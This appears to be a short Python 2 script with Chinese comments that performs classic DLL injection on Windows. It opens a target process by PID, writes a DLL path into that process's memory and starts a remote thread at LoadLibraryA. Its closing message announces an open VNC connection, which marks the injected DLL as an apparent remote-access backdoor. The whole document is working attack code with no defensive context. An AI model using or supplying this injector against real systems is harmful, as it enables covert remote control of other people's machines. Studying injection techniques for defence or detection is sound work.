﻿#coding:utf-8
import sys
from ctypes import *

PAGE_READWRITE = 0x04
PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF)
VIRTUAL_MEM = (0x1000 | 0x2000)

kernel32 = windll.kernel32
pid = sys.argv[1]
dll_path = sys.argv[2]
dll_len = len(dll_path)

#获取远程进程句柄
h_process = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, int(pid))

if not h_process:

	print "[] Couldn't acquire a handle to PID: %s" % pid
	sys.exit(0)
	
#为DLL路径字符串分配一段内存空间
arg_address = kernel32.VirtualAllocEx(h_process, 0, dll_len, VIRTUAL_MEM, PAGE_READWRITE)

#写入DLL路径字符串
written = c_int(0)
kernel32.WriteProcessMemory(h_process, arg_address, dll_path, dll_len, byref(written))

#解析API函数LoadLibraryA所在的内存地址
h_kernel32 = kernel32.GetModuleHandleA("kernel32.dll")
h_loadlib = kernel32.GetProcAddress(h_kernel32, "LoadLibraryA")

#现在试图创建一个远程线程，将远程线程入口点设置为LoadLibraryA所在地址
#并以一个指向DLL路径字符串的指针作为唯一的参数
thread_id = c_ulong(0)

if not kernel32.CreateRemoteThread(h_process, 
								None,
								0,
								h_loadlib,
								arg_address,
								0,
								byref(thread_id)):
	print "[] Failed to inject the DLL. Exiting."
	sys.exit(0)
	
print "[] Remote thread successfully create with a thread ID of: 0x%08x" % thread_id.value
print "[] VNC Connection now open and ready for action...."


